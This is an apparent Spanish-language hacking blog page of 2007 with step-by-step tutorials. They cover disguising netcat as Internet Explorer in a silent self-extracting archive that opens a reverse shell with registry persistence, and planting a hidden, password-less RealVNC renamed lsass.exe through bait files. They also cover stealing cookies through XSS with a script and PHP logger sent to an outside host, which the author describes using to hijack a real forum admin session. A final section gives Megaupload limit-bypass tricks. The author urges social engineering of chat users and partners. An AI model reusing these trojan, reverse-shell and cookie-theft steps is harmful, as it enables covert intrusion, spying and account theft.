viernes, 22 de junio de 2007

TROYANIZANDO NETCAT


TROYANIZANDO NETCAT by WHK

Como ya saben, con netcat puedes tomar una shell directamente o realizar una conexión inversa indicando mi IP o dirección DNS (para los que no saben lo que es un DNS… es un tipo de traducción que hace mas fácil poder encontrar tu PC, por ejemplo la IP 200.32.22.25 sería el DNS = pagina.cl ).

Bueno… primero hay que saber lo que vamos a hacer… la idea principal será tomar una shell de la PC de cualquier persona de un IRC (Chat).

Materiales:
ResHacker
Netcat v1.1
Winrar (Modo grafico)
Un icono de Internet Explorer
.

Bueno, si no saben donde encontrar el icono tratare de dárselos con este documento XD si no se puede pueden usar cualquier otro icono (puedes hacerlo sin iconos también pero se verá sospechoso.)

Lo primero es conectarse a un Chat XD y conseguirse a alguna victima (ojala no lo hagan con sus novias porque si los pillan los van a patear XD ) … una ves que digan.. “esa es mi victimaaaaa!!!” entonces usaremos algo que se llama ingeniería social y es a través del ingenio propio hacerse pasar por alguien o hacerse de la amistad de esa persona para poder obtener lo que queremos, la idea es que hablaremos con el y bla bla bla de donde eres bla bla bla… cuando termines le dices que otro día seguimos conversando… si todo va bien ps ya mañana tendrás la confianza suficiente como para darle un programa que le ayudará en el mantenimiento de su PC o que simplemente se divierta con un juego XD.

Dejamos de lado el Chat y en la noche nos ponemos a hacer el troyano de la siguiente forma:

Paso 1: Primero le cambiamos el icono para que sea menos sospechoso con el ResHacker:




En primer lugar abres el ResHacker y le das en “File/Open” y buscas el netcat. Después pinchas en acción y luego en “Add a new Resource”, luego se verá la ventana que ves a la derecha y presionas donde dice “Open file with new resource” (paso 3) para buscar el icono que teniamos, luego donde dice “Resource Name” Debes escribir la palabra “ICON” tal como se ve en la foto y para finalizar presionamos en “Add Resource” y en “File/Save”. Con todo esto te creará un respaldo del netcat original que puedes borrarlo con toda tranquilidad y al refrescar la pantalla (F5) veras que el netcat tiene el mismo icono de Internet Explorer XD



Paso 2: renombramos nc.exe y desde ahora se llamará “iexplorer.exe” XD, luego pinchas el netcat con el botón derecho de tu Mouse y deberá aparecer algo así (obviamente después de haber instalado el winrar.)



Luego aparecerá el Winrar y empezaremos a crear nuestro troyano:

1.



Donde dice “Nombre del archivo” le escribimos “carnada.exe” (por ahora), el formato debe ser en “RAR” el método de compresión el mejor y por último y mas importante “Crear un archivo SFX”, el resto debe quedas deseleccionado.


2.



En la pestaña “Avanzado” (arriba) debes pinchar el botón llamado “Opciones SFX” y comenzaremos a configurar nuestro Winrar SFX.


3.



Ahora en “Carpeta de extracción” le diremos que descomprima el netcat (con nombre de iexplorer) en el directorio = %homedrive%%homepath%\update , ahora me diran: “Que es esto?!!”… %homedrive% significa que se descomprimirá dentro de la misma unidad de disco que esté Windows, o sea comúnmente (no siempre) “C:\” … %homepath% significa “Documents and settings\tu usuario actual” en conclusión se descomprimirá dentro del directorio raiz del usuario donde es casi el único lugar donde un usuario sin derechos de administrador puede sobrescribir, en otras palabras si le hubiese escrito %windir%\system32 pudiera haber tenido fallas al descomprimirse ya que no todos tienen derecho a ese directorio. Elegí una carpeta llamada update para llamar menos la atención.
En “Ejecutar tras la extracción” le escribimos esto = iexplorer.exe -d -e cmd.exe [aca va nuestra ip] 80 , yo le puse la dirección 127.0.0.1 para pruebas pero ustedes le ponen la ip real que sale a Internet. 80 es el puerto donde el troyano se conectará con nosotros.

En “Ejecutar antes de la extracción” le escribimos lo siguiente = %windir%\system32\cmd /c reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run /v "iexplorer" /t REG_SZ /d "%homedrive%%homepath%\update\iexplorer.exe -d -e cmd.exe 127.0.0.1 80" /f > nul … y ustedes me diran que es eso!!!!... le decimos que ejecute la consola de comandos CMD y llame a un ejecutable llamado “REG.EXE” el cual se encargará de agregar nuestra entrada al registro del sistema para que el troyano arranque solito cada ves que encienda la pc (recordar que donde dice 127.0.0.1 deben poner la ip de ustedes o en algunos casos (para los que saben) su DNS… es mas efectivo. (Consultar por el no-ip) y donde dice >nul significa que la victima no verá mas que un simple pestañazo del DOS en ves de mostrar todo lo que se está ejecutando.


4.



Acá estamos pidiendo a winrar que no muestre nada mientras se instala todo esto, asi será mas silencioso, rápido y automatizado.


5.



Yo le puse icono de yahoo porque lo voy a probar desde el mismo Chat.


Ahora vamos a crear el programa que nos conectará con la victima, y se llama “Cliente”
Solo ejecutamos esto y estaremos listos para recibir la conexión de quien abra la carnada:



Y listo ahora solo falta visitar a nuestro amigo del día anterior y decirle que tienes un juego muy chido o que tienes algo para no se… usa tu imaginación. En mi caso y entré a una sala de yahoo y como hoy en día esta muy de moda los booters XD puse en sala que bajaran un antibooter para que no los pudieran sacar de la sala y les pase un link con la dirección donde estaba alojado el troyano. En resumidas cuentas… si alguien cae en tus maldades te debe aparecer esto:



Habrás tomado la shell de otra PC (manejar una shell de otra pc significa poder controlar el DOS de Windows o la shell de GNU.. es poder controlar la consola de comandos de la otra persona y a través de eso puedes subirle archivos, borrarle cosas, darle troyanos que te permitan ver su escritorio… mirar sus contraseñas volcando el registro en textos y haciéndoles un “type”… para los que saben un poquitito mas.. talvez saltar a otras pc con netbios, exploits como el dcom, acceder a servidores y dominar una red completa y ufff.. a volar la imaginación. Si no me creen miren estas tres capturas jugando con netcat XD nada serio:


1. El sueño de todo lamer XD :




2. Subiendo RealVnc4 para poder hacer una conexión inversa y mirar el escritorio de la otra persona(tutorial mas abajo):




3. Esto fue un ajuste de cuentas XD:



NOTA: Los archivos borrados en la shell no van a la papelera, son eliminados totalmente

Les mostré como crear un troyano con netcat (indetectable por todos los antivirus por ahora) también puede hacerse con una conexión directa en ves de una inversa como la hice acá, así como ya saben hacerlo

Esto es todo y espero poder mostrarles la próxima ves.. como convertir el Netcat v1.1 en un cliente SMTP para enviar correos automatizados y temporizados además de servir como cliente FTP con comandos automatizados sin la necesidad de la intervención de escribir los comandos desde la consola, también como ponerle contraseña a una sesión de shell con netcat entre muchas otras cosas mas


Salu2 Att. Yan.
Unilola Software.

TROYANIZANDO REAL VNC 4

TROYANIZANDO REAL VNC 4




Materiales:
Servidor FTP (cualquiera)
WinVNC4
ResHacker

Acá aprenderemos a troyanizar el realvnc4 de diferentes maneras, pero lo primero será ocultar el fastidioso icono negro con blanco que se muestra al lado de la hora y que nos delata cuando el realvnc está activo… lo haremos con el ResHacker borrando los recursos de iconos e imágenes y todo aquellos que nos pueda delatar:



Si no quieres complicarte la vida puedes bajarlo desde http://512.iespana.es/vnc ya compilado y todo, y por último lo renombramos a “lsass.exe” aprovechándonos de una vulnerabilidad del administrador de tareas que dice que lsass.exe no puede detenerse XD.

Ahora suponiendo que estamos dentro de una shell… lo vamos a subir por ftp.
Abrimos nuestro servidor FTP y configuramos el nombre de usuario y contraseña:




Debe aparecer un icono así:

Ahora vamos a configurar nuestro troyano de dos formas… una es para ver solamente el escritorio de la victima sin que se de cuenta y otra para tomar el control total sin que pueda hacer nada jajaja que malo :p . Para esto necesitamos hacer una entrada de registro de la siguiente manera:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\RealVnc\WinVNC4]
"SecurityTypes"="None"
"ReverseSecurityTypes"="None"
"DisconnectAction"="None"
"QueryConnect"=dword:00000000
"QueryOnlyIfLoggedOn"=dword:00000000
"LocalHost"=dword:00000000
"Hosts"=dword:00000000
"AcceptKeyEvents"=dword:00000000
"AcceptPointerEvents"=dword:00000000
"AcceptCutText"=dword:00000000
"SendCutText"=dword:00000000
"DisableLocalInputs"=dword:00000000
"DisconnectClients"=dword:00000000
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"RemoveWallpaper"=dword:00000000
"DisableEffects"=dword:00000000
"UpdateMethod"=dword:00000001
"PollConsoleWindows"=dword:00000001
"UseCaptureBlt"=dword:00000001
"UseHooks"=dword:00000001
"Protocol3.3"=dword:00000000

Copias todo esto y lo pegas en el block de notas y lo guardas como “vm.tmp” que significa “View Mode” … si quieres manejar el escritorio de la victima entonces pega este otro texto:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\RealVnc\WinVNC4]
"SecurityTypes"="None"
"ReverseSecurityTypes"="None"
"DisconnectAction"="None"
"QueryConnect"=dword:00000000
"QueryOnlyIfLoggedOn"=dword:00000000
"LocalHost"=dword:00000000
"Hosts"="0,"
"AcceptKeyEvents"=dword:00000001
"AcceptPointerEvents"=dword:00000001
"AcceptCutText"=dword:00000001
"SendCutText"=dword:00000001
"DisableLocalInputs"=dword:00000001
"DisconnectClients"=dword:00000000
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"RemoveWallpaper"=dword:00000001
"DisableEffects"=dword:00000000
"UpdateMethod"=dword:00000001
"PollConsoleWindows"=dword:00000001
"UseCaptureBlt"=dword:00000001
"UseHooks"=dword:00000001
"Protocol3.3"=dword:00000000
"PortNumber"=dword:0000170c
"IdleTimeout"=dword:00000e10
"HTTPPortNumber"=dword:000016a8
"RemovePattern"=dword:00000000

Y lo guardas como “ct.tmp” que significa “Control Total” .

Ahora subiremos las configuraciones y el vnc desde nuestra shell usando el comando ftp.exe de la siguiente forma:



La idea es que atraves del comando echo hagamos un texto con los comandos que ejecutará ftp.exe de la siguiente manera:

Echo o >> ftp.txt
Echo 192.168.1.69 >> ftp.txt En este caso 192.168.1.69 es nuestra IP como servidor FTP
Echo user >> ftp.txt Este es el usuario del FTP
Echo pass >> ftp.txt Este es el password del FTP
Echo get lsass.exe >> ftp.txt Este es nuestro VNC4
Echo get wm_hooks.dll >> ftp.txt
Echo get logmessages.dll >> ftp.txt
Echo get vm.tmp >> ftp.txt Si solamente miramos usamos “vm” si controlamos usamos “ct”
Echo quit >> ftp.txt

Ahora ejecutamos el comando para que nos suba todo: ftp –s:ftp.txt y ahora que ya tenemos todo importamos el registro que hicimos de la siguiente manera: reg import vm.tmp o reg import ct.tmp en el caso de que queramos controlar o solo mirar.

Ahora que ya tenemos nuestro troyano listo y configurado, vamos a proceder a ejecutarlo de la siguiente manera:

Lsass.exe –register
Lsass.exe –start



Ahora que nuestro troyano está corriendo como servicio, estamos listos para entrar con nuestro cliente:



Donde dice 127.0.0.1 es la IP de la victima que tiene el troyano.
Si te fijas… ya no aparece ningun icono que delate su existencia y Aunque pinches con el boton primario o secundario del Mouse (boton derecho e isquierdo) no aparece nada:



Ahora lo haremos de otra forma… lo daremos como carnada sin estar dentro de una shell usando Winrar.

Materiales:
Winrar
RealVNC4

Ahora seleccionaremos lo siguiente y lo comprimiremos:



Y procedemos a compilar nuestro troyano:

1: Crearemos un archivo “sfx”…



2: Vamos a la pestaña “Avanzado y pinchamos en “Opciones SFX”



3: En carpeta de extracción ponemos “%homedrive%%homepath%\update” y en “ejecutar tras la extracción” ponemos “setup” (después explicaremos porque)



4: En la ficha “Modo” seleccionamos “Ocultar todo” y “Omitir ficheros existentes” para evitar errores futuros y que ademas no muestre nada, ya que queremos que sea lo mas silencioso posible no?.



5: En “Texto e icono” donde dice abajo: “Cargar icono SFX desde fichero” buscamos un icono a elección… en mi caso le puse el de un juego llamado “Max Peine” y presionamos aceptar una sola vez.



6: En “comentario aparecerá un texto que dice en un lado: Setup=setup y reemplazamos eso por lo siguiente:

Setup="%windir%\system32\cmd.exe" /c reg import "%homedrive%%homepath%\update\vm.tmp"
Setup=lasaa.exe -noconsole -register
Setup=lasaa.exe -noconsole -start



Fijarse que es una sola linea por cada setup. Ahora me diran que es esto?... ps explico:

Setup="%windir%\system32\cmd.exe" /c reg import %homedrive%%homepath%\update\vm.tmp" // Importamos la configuracion de nuestro troyano
Setup=lasaa.exe -noconsole –register // Registramos el troyano para que se ejecute en modo SYSTEM
Setup=lasaa.exe -noconsole –start // Iniciamos el troyano

Ahora damos aceptar a todo y debe aparecer algo asi:


En mi caso le puse el icono de Max Peine para decirle a mi querido y buen amigo llamado “Victima” que es el demo de MAX PEINE III (obviamente inexistente) y al abrirlo sucederá lo mismo que el primer ejemplo:



Sin icono alguno y nos conectamos con nuestro cliente:



Obviamente 127.0.0.1 debe ir la IP de la victima.

Ahora puedes saber si tu novia te pone los cuernos o darle el susto de su vida al que siempre te ha jodido controlando su pc XD.
Nota: Puedes añadir entradas de registros extras para hacer que se ejecute cada ves que inicie la pc o hacer lo que se te la gana.

Las aplicaciones y el video está en http://512.iespana.es/vnc

Att. Yan
Unilola Software.

Notas del bloger

  • 1) Se puede crear un bat con las siguientes caracteristicas:

    1- la primera kita el dichoso iconito.

    2- la segunda desabilita la autentificación.

    3- la tercera hace que se inicie el sistema.

    reg add hklm\SOFTWARE\ORL\WinVNC3 /v DisableTrayIcon /t reg_dword /d 1 /f

    reg add hklm\SOFTWARE\ORL\WinVNC3 /v authrequired /t reg_dword /d 0 /f

    reg add hklm\software\microsoft\windows\currentversion\run /v dllhost.exe /t reg_sz /d winvnc.exe /f

Cookie Poisoning

Cookie Poisoning
By
SkapperMX



Que son las cookies???

Una cookie es un fragmento de información que se almacena en el disco duro del visitante de una página web a través

de su navegador, a petición del servidor de la página. Esta información puede ser luego recuperada por el servidor

en posteriores visitas. Las inventó Lou Montulli, un antiguo empleado de Netscape Communications. Al ser el

protocolo HTTP incapaz de mantener información por sí mismo, para que se pueda conservar información entre una

página vista y otra (como login de usuario, preferencias de colores, etc), ésta debe ser almacenada, ya sea en la

URL de la página, en el propio servidor, o en una cookie en el ordenador del visitante.

De esta forma, los usos más frecuentes de las cookies son:

* Llevar el control de usuarios: cuando un usuario introduce su nombre de usuario y contraseña, se almacena una

cookie para que no tenga que estar introduciéndolas para cada página del servidor. Sin embargo una cookie no

identifica a una persona, sino a una combinación de computador y navegador.
* Ofrecer opciones de diseño (colores, fondos, etc) o de contenidos al visitante.
* Conseguir información sobre los hábitos de navegación del usuario, e intentos de spyware, por parte de

agencias de publicidad y otros. Esto puede causar problemas de privacidad y es una de las razones por la que las

cookies tienen sus detractores.

Originalmente, sólo podían ser almacenadas por petición de un CGI desde el servidor, pero Netscape dio a su lenguaje

Javascript la capacidad de introducirlas directamente desde el cliente, sin necesidad de CGIs. En un principio,

debido a errores del navegador, esto dio algunos problemas de seguridad, que posteriormente fueron resueltos. Estas

vulnerabilidades fueron descubiertas por Esteban Rossi[cita requerida]. Las cookies pueden ser borradas, aceptadas o

bloqueadas según desee, para esto solo debe configurar convenientemente el navegador web.


Robo de cookies

El scripting entre sitios permite que el valor de las cookies se envíe a servidores que normalmente no recibirían

esa información. Los navegadores modernos permiten la ejecución de segmentos de código recibidos del servidor. Si

las cookies están accesibles durante la ejecución, su valor puede ser comunicado de alguna manera a servidores que

no deberían acceder a ellas. El proceso que permite a una parte no autorizada recibir una cookie se llama robo de

cookies, y la encryptación no sirve contra este tipo de ataque.





Falsificación de cookies

Aunque las cookies deben ser almacenadas y enviadas de vuelta al servidor sin modificar, un atacante podría

modificar el valor de las cookies antes de devolverlas. Si, por ejemplo, una cookie contiene el valor total de la

compra de un usuario en un sitio web, cambiando ese valor el servidor podría permitir al atacante pagar menos de lo

debido por su compra. El proceso de modificar el valor de las cookies se denomina falsificación de cookies y a

menudo se realiza tras un robo de cookies para hacer un ataque persistente.

Sin embargo, la mayoría de los sitios web solo almacenan en la cookie un identificador de sesión —un número único

utilizado para identificar la sesión del usuario— y el resto de la información se almacena en el propio servidor. En

este caso, el problema de la falsificación de cookies queda prácticamente eliminado.

Fuente: Wikipedia.com



**********************************************************************************************************************************************************************

*********************************************************************

Bienvenidos a mi segundo tutorial, este manual veremos y llavaremos a cabo ejemplos reales para hacer una

falsificacion de cookie o cookie poisoning.No me hago responsable al daño parcial a webs con esta informacion...

Para este tuto nesesitaremos varias herramientas:

- FlashFXP Descargar

- Mozilla Firefox Descargar

***************************************************************************************************************************************************************************

************************************************************************




Etapa 1

Herramientas y Preparacion



Recuerdas la vulnerabilidad XSS??? de ese ataque muy conocido podemos hacer un script robador de cookie bueno veamos

el script lo cual es el siguiente codigo


Código:


<script>self.location.href='http://misitio.com/log.php?c='+escape(document.cookie);</script>


Analizemos el codigo por partes :


Código:
<script>
Aqui declaramos al servidor de que es un script

Código:
self.location.href

Esto es un comando de JavaScript para redireccionar la web hacia nuestro sitio


Código:
+escape(document.cookie);

Aqui es donde va lo importante ya que aqui se declara de que queremos que la variable C sea la cookie actual


Código:
</script>
Cerramos nuestro script

ok ya tenemos nuestro codigo robador de cookie y ahora como guardamos la cookie???

Sencillamente con este codigo en php lo que hace es captar toda la informacion enviada (por el script) y las guarda

en un archivo que el creara, a este codigo en php lo llamaremos Captador


Código:


<?php
$archivo = fopen('log2.htm','a');//Aqui podemos cambiar el nombre del archivo a crear
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br>

IP: ' .$ip. '
Fecha y Hora: ' .$fecha. '</hr>');
fclose($archivo);
?>



Como puedes ver no es nada de otro mundo, ok ya tenemos nuestras herramientas y como lanzamos el ataque??
de este modo.

Hay 3 pasos para conseguir un ataque perfecto los cuales son:

1.- Encontrar una web que tenga alguna vulnerabilidad XSS
2.- Encontrar algun host gratuito y subir nuestro captador de cookie con privilegios 777.
3.- Inyectar nuestro codigo (script)
4.- Luego de dias ver nuestro captador y falsificar las cookies


Creamos un hosting gratuito en BolHost.com o otra pagina de hosting gratis que soporte PHP.


Subimos todo para nuestro hosting mediante FTP O Manualmente en la web



Ponemos los privilegios de 777 a nuestro captador



Preparemonos para el ataque......


Etapa 2

Inyeccion y Robo



Atacaremos la siguiente web con un bug XSS en algunos post



Probamos el script test del xss y...





Como vemos es vulnerable a XSS, ahora inyectemos nuestro codigo robador de cookies..



Y nos debe redireccionar hacia nuestra web rabandonos la cookie inmediantamente...



Veamos nuestro captador.... Tenemos Cookies!!!!!!!



Y Ahora hago..........Flasificamos las cookies.

***************************************************************************************************************
PD. Yo usare Firefox para falsificar las cookie ya que me siento mas comodo con el...
usaremos el siguiente plugin.
Se llama Cookie Editor lo pueden descargar aqui:
Aqui
**************************************************************************************************************


Etapa 3

Cookie Poisoning

Abrimos el Mozilla y instalamos nuestro querido plugin...



Ok,instalado nuestro plugin, nos dirigimos a nuestro hosting (donde tenemos nuestro amigo el captador de cookies)...

Lo descargamos....................



Y vemos un monton de letras...



Recuerdas que la web a atacar era www.teambio.net, veamosla...



Como pudieron observar sus ojos este es un foro de la empresa Vbulleti$, como todos sabemos son dificiles de
encontrar una vulnerabilidad ,pero yo la encontre , esto que en un dia en donde no sabia que hacer entra a esa web y

postee un tema pero pense si metiamos a nuestro querido script TEST de XSS en un post que pasaria..

Lo intente y vuala!! me sale un mensaje de alerta, entonces inyecte en mi post el script para robar las cookies y al

los dos o tres dias de espera tenia mis hermosas cookies y adivinen que ¡Tambien la del administrador!.Al momento de

que las vi me emocione y hice rapido un Cookie Poisoning...Dejemos mi experiencias newbies a un lado.


Y como las enveneraremos???? pss muy simple entraremos a nuestra web a atacar la cual en nuestro caso es TeamBio

entremos



Ahora nos registramos y nos loguemos como un usuario normal, pero recuerda que tenemos que póner la casilla de "Recordar Siempre" para la cookie que se envia a nuestro ordenador se cree y asi podamos modificarla a nuestro gusto



Ahora veamos nuestra cookie generada a partir de la web de TeamBio



Como vemos tiene algunas letras, si comparas los datos que tiene con tu cookies obtenidas observaras que casi son

iguales solo por ciertos datos..




Ahora abrimos nuestro querido FIREFOX y en la parte de herramientas seleccionamos Cookie Editor,ahora tenemos todas

las cookie guardadas en nuestro ordenador por otras webs, busquemos en el filtro la palabra team(para teambio)

y...



Ahora sabemos todos los datos que estan en nuetras cookies,ahora solo cambiaremos la informacion de nuestra cookie

original por alguna que capturamos,todos los datos que tengan namas combiaremos la informacion, haciendo click en alguna de las partes y luego Edit





Ahora visitamos nuestra web y.... ¡Estamos loguedos como otro usuario!



Con esto termino mi segundo Tutorial, ojala les haya gustado y entendido.

PD. A lo mejor el sitio de ejemplo ya no sea vulnerable a estos ataques....


**********************************************************************************************************************************************
Team -= UnderCode =-

SkapperMX "No eres nadie en la vida hasta que haces algo especial..."


SkapperMX at gmail dot com
Skapper_MX at hotmail dot com


Notas de bloger:

  • 1)Hay un error en el script para el captador, debes ser así
    <script>self.location.href='http://misitio.com/captador.php?c='+escape(document.cookie);</script>.

  • 2) Para servidores locales la configuracion del permiso debe ser CHMOD 777

  • 3) Se puede usar el tag iframe para camuflajear la pagina captadora...


    <iframe src="http://[server]/xss.html" width="1" height="1" frameborder="0"></iframe>




    <!-- script.js --!>
    <script>
    self.location.href='http://[server]/?c='+escape(document.cookie);
    </script>






    <?php
    // index.php
    $archivo = fopen('log2.htm','a');//Aqui podemos cambiar el nombre del archivo a crear
    $cookie = $_GET['c'];
    $usuario = $_GET['id'];
    $ip = getenv ('REMOTE_ADDR');
    $re = $HTTPREFERRER;

    $fecha=date("j F, Y, g:i a");
    fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'


    IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
    fclose($archivo);
    ?>


Metodos para engañar Megaupload y RapidShared

TRUCOS PARA MEGAUPLOAD Y RAPIDSHARED


1).

Megaupload ofrece un servicio de hosting gratuito, que no requiere registro, solo seleccionas un archivo y lo subes. Permite subir archivos de hasta 250MB de manera gratuita. Si pasan 21 dias sin que se descargue el archivo que subimos, se eliminará automáticamente.

Recientemente, Megaupload está aplicando restricciones de acuerdo al país al que pertenezca nuestra dirección IP.

SINTOMAS

Megaupload restringe la descarga para ciertos paises, por lo que cuando intentamos descargar un archivo sobre todo en horas de máximo tráfico a Internet, nos sale este mensaje de error (en el ejemplo se muestra el caso para Colombia):

All download slots (100) assigned to your country (Colombia) are in use.
Please try again later.

NEW: All users of our free Megaupload Toolbar enjoy unlimited downloads around the clock.

Click here to download and install the toolbar, then retry your download.

For unlimited use of our service, you can buy our Premium Membership.

Por lo que no podremos descargar ningun archivo de Megaupload hasta que libere algun slot para poderlo usar [pueden estar libres en algunos minutos ó en el peor de los casos horas ]

Megaupload detecta nuestra IP, el país al que corresponde la IP aplicando una restricción de acuerdo a sus políticas. La cantidad de slots disponibles varia de pais a pais, entre ellos algunos que conozco:

Colombia (100)
Venezuela (100)
Viet Nam (100)
Czech Republic (500)
Malaysia (100)
Poland (1500) (3000)
Slovakia (100)
Peru (200)
Mexico (400)
Brazil (2500)
Argentina (500) (250)
China (2500) (sin limite)

Dicha restricción sólo aplica a ciertos paises. Algunos países sin restricion son: Israel, Germany, USA.

SOLUCIONES

El propio Megaupload nos da una solución: "All users of our free Megaupload Toolbar enjoy unlimited downloads around the clock." que en pocas palabras es algo como que si instalas la Alexa Toolbar (una barra de herramientas del navegador) podrás bajar sin restricciones

Algunos desesperados usuarios procederán a instalar la barra de herramientas de Alexa, y es una solución, pero algunos usuarios que no queremos instalar más cosas en nuestro PC (la Alexa Toolbar algunos antivirus la detectan como spyware) requerimos de una solución un poco menos drástica.

Hemos investigado internamente el funcionamiento de la barra de Alexa y descubierto una manera de NO instalarla pero hacerle creer a Megaupload que si lo está, tambien ofrecemos una solución que evita que Megaupload detecte nuestra IP.

Solución: Definitiva

El siguiente es un truco que hará creer a la página de descarga de Megaupload que tenemos la barra de herramientas Alexa Toolbar instalada, así pues sin instalar ninguna barra tendremos el mismo resultado. Este truco solo aplica para Internet Explorer (aunque si sabes como cambiar el mismo valor en otros navegadores, pues aplícalo y nos cuentas).

El proceso sólo se hace una vez y sirve ilimitadamente. Ofrecemos varias opciones de aplicar esta solución:

Opcion # 1: Entrar un valor en una ruta del registro de Windows

Abre el registro de Windows: Click en Inicio > Ejecutar > regedit >

Ve a esta ruta:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Internet Settings\5.0\User Agent\Post Platform

Crea un Valor alfanumérico con el siguiente nombre Alexa Toolbar

Listo, cierra el registro, reinicia el Internet Explorer y prueba el truco descargando algo de Megaupload.

Opcion # 2: Crear un archivo del registro de windows y aplicarlo

Abre el Bloc de Notas, copia y pega el siguiente texto:

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Internet Settings\5.0\User Agent\Post Platform]
"Alexa Toolbar"=""

Importante, en la primer línea debe quedar REGEDIT4 sin espacios ni antes ni despues. La segunda linea debe empezar con [ y terminar con ] respetando los espacios que aparecen. La tercera linea "Alexa Toolbar"="" y una ultima línea en blanco.

Ahora click en el menu Archivo > Guardar como > ponle como nombre truco-alexa-megaupload.reg (o el que quieras, siempre con extension .reg), en la casilla Tipo: elije la opcion Todos los archivos esto para poder guardar el archivo con extension .REG. Click en Guardar.

Ahora ve al archivo que creaste y dale doble click, acepta entrar esos datos al registro. Reinicia el Internet Explorer y prueba el truco descargando algo de Megaupload.

Opcion # 3: Bajando y aplicando el archivo .reg creado

Si te es muy complicado editar el registro ó crear el archivo anterior, baja el archivo siguiente que hemos creado con los mismos valores que aparecen en la Opcion # 2.

http://www.eazyshare.com/user_upload...npc.com.co.zip

Una vez lo bajes, lo descomprimes y ejecutas el archivo truco-alexa-megaupload-ie.reg lo aplicas y listo.

Reinicia el Internet Explorer y prueba el truco descargando algo de Megaupload.

Nota 1: El archivo ofrecido esta libre de software malicioso, certificado Wilkinsonpc.
Nota 2: Reiniciar el Internet Explorer es cerrar todas las ventanas abiertas y de nuevo abrir una nueva.

espero comentarios de los expertos para que digan si esto es seguro porque lo que hacemos es decirle a Megaupload que tenemos su alexa toolbar, lo que si se es que funciona al 100% Megaupload te deja descargar sin restricciones bueno eso es el comentario de los usuarios que les funciono

tambien he leido comentarios en otros foros de que el Ad-aware lo detecta y creo que lo puede eliminar.

2).

1- Descarga el archivo:
salta_megaupload_firefox.rar (Contiene el archivo useragentswitcher_localized.xpi y useragentswitcher.xml )

http://rapidshare.de/files/24042578/...ad_firefox.rar

2.- Descomprimelo

3.- Selecciona de la carpeta archivo firefox el archivo useragentswitcher_localized.xpi , click en el boton derecho y en Abrir con ……, escoges el programa con el que lo ejecutaras, en este caso Firefox

4.- Aparecera el Instalador de Extensiones Propios del Firefox, esperas e instalas la extension, cierra el Navegador y lo vuelves a abrir para que los cambios surtan efecto.



5.- Sigue esta Ruta en el Navegador de Firefox.

Herramientas --> User Agent Switcher --> Opciones --> Preferencias --> Agentes --> Importar



Importas el archivo de la carpeta importar (useragentswitcher.xml) y le das a aceptar.



( Este archivo contiene una Configuracion: Internet Explorer 6 + Alexa.)

6.- Ve a Herramientas:

Herramientas --> User Agent Switcher -->Internet Explorer 6 + Alexa.



( Este archivo contiene una Configuracion: Internet Explorer 6 + Alexa.)

Le seleccionas y listo, prueba con una Descarga de Megaupload con Firefox.



3).

Ya cauros cachureando por ahi encontre una pagina de megaupload premium la cual tiene la funcion de que tu pegas el lin de la descarga aí y luego te devuelve el link pero PREMIUM,, Suena bonito cierto,, ya que puedes descargar a la velocidad que descargan las cuentas premium..jajajja

Bueno aka se las dejo y espero que AGARADESCAN ya que no cuesta nada,, Y CREO QUE ES UN APORTAZO O NO.


http://leech.megaleecher.net/

4).

Para bajar sin restricciones de tiempo y zona bajense este archivo... ( http://www.subir-fotos.com/uploads/9ee369d7e1.jpg ) o mejor dicho, imagen...luego la renombran a cualquer nombre y le ponen la extencion .ZIP. Lo ejecutan y listo, solo sirve con internet explorer...pero de ahi se puede pasar a algun gestor Copian El Link . Guardan El Archivo y listo .. Me Funciono a mi.

5).

El siguiente es un truco que hará creer a la página de descarga de Megaupload que tenemos la barra de herramientas Alexa Toolbar instalada, así pues sin instalar ninguna barra tendremos el mismo resultado. Este truco solo aplica para Internet Explorer.

El proceso sólo se hace una vez y sirve ilimitadamente. Ofrecemos varias opciones de aplicar esta solución:

Opcion # 1: Entrar un valor en una ruta del registro de Windows

Abre el registro de Windows: Click en Inicio > Ejecutar > regedit >

Ve a esta ruta:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Internet Settings\5.0\User Agent\Post Platform

Crea un Valor alfanumérico con el siguiente nombre Alexa Toolbar

Listo, cierra el registro, reinicia el Internet Explorer y prueba el truco descargando algo de megaupload.

Opcion # 2: Crear un archivo del registro de windows y aplicarlo

Abre el Bloc de Notas, copia y pega el siguiente texto:

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Internet Settings\5.0\User Agent\Post Platform]
"Alexa Toolbar"=""

Importante, en la primer línea debe quedar REGEDIT4 sin espacios ni antes ni despues. La segunda linea debe empezar con [ y terminar con ] respetando los espacios que aparecen. La tercera linea "Alexa Toolbar"="" y una ultima línea en blanco.

Ahora click en el menu Archivo > Guardar como > ponle como nombre truco-alexa-megaupload.reg (o el que quieras, siempre con extension .reg), en la casilla Tipo: elije la opcion Todos los archivos esto para poder guardar el archivo con extension .REG. Click en Guardar.

Ahora ve al archivo que creaste y dale doble click, acepta entrar esos datos al registro. Reinicia el Internet Explorer y prueba el truco descargando algo de megaupload.

Opcion # 3: Bajando y aplicando el archivo .reg creado

Si te es muy complicado editar el registro ó crear el archivo anterior, baja el archivo siguiente que hemos creado con los mismos valores que aparecen en la Opcion # 2.

Link:
http://s13.quicksharing.com/v/323586...pload.reg.html
Mirror:
http://www.eazyshare.com/user_upload...npc.com.co.zip
Mirror 2:
http://dl1.f-forge.com/file.php?id=xWDawc2AOE6pCvtZlh0

Una vez lo bajes, lo descomprimes y ejecutas el archivo *.reg lo aplicas y listo.

Reinicia el Internet Explorer y prueba el truco descargando algo de megaupload.

Nota 1: El archivo ofrecido esta libre de software malicioso, certificado.
